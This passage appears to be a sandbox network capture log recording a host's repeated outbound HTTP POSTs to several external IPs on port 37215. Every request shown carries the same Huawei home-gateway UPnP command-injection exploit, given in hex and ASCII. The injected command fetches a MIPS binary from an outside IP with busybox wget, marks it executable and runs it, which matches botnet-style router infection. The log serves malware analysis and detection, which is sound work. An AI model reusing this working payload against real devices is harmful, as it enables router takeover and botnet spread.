Jan 22, 2024 04:02:05.996653080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:19.916734934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:47.724740982 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.20	37126	41.47.102.66	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:52.631573915 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:52.905076027 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.20	51856	45.207.186.159	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:52.861434937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:54.316828966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:56.064625025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:59.564733982 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:06.556682110 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
